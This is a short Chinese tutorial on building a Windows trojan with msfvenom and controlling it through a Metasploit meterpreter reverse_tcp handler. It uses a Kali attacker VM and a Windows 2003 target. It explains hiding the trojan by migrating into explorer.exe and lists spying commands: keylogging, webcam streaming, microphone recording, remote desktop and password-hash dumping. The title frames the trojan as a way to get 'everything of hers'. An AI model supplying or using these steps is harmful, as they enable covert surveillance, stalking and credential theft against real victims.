利用msfvenom制作木马程序（你可以得到她的一切）

实验环境：

虚拟机：kali （攻击机）　　 192.168.1.2

虚拟机：windwos 2003 （靶机） 192.168.1.100

1. 制作木马

说明： -p payload(有效载荷)

-e 编码方式

-i 编码次数

-b 在生成的程序中避免出现的值

-f exe 生成EXE的格式

输入命令之后会在home中生成一个 exe的文件

然后在终端输入：msfconsole

然后 use exploit/multi/handler

然后 set payload windows/meterpreter/reverset_tcp

然后 set LHOST

然后 set LPORT

在run运行

3. 将制作的木马放在 windows server2003 ，运行之后，什么也不显示。但是这个时候你就会发现kali这边就已经上线了。

成功获取最高权限，可以做一切你想做的事。

上线之后，由于你的程序木马单独的存在被攻击电脑中，所以容易被清除，这个时候你需要注入到被攻击者自带的某个程序中，如桌面程序（explorer.exe），利用ps命令，找到这个进程并记住这个程序的PID。然后 Migrate （迁移） pid 。

然后就实行以下的一些功能：

run vnc 开启远程桌面

sysinfo 获取电脑信息

reboot 重启电脑

shell 获取shell

shutdown 关闭电脑

enumdesktops --用户登录数

keyscan_dump　　　键盘记录－下载

keyscan_start　　　键盘记录　－　开始

keyscan_stop 　　　键盘记录　－　停止

Uictl　　　　　　　获取键盘鼠标控制权

record_mic　　　　音频录制

webcam_chat　　　查看摄像头接口

webcam_list　　　查看摄像头列表

webcam_stream　　摄像头视频获取

Getsystem　　　　获取高权限

Hashdump　　　下载ＨＡＳＨ

巴特西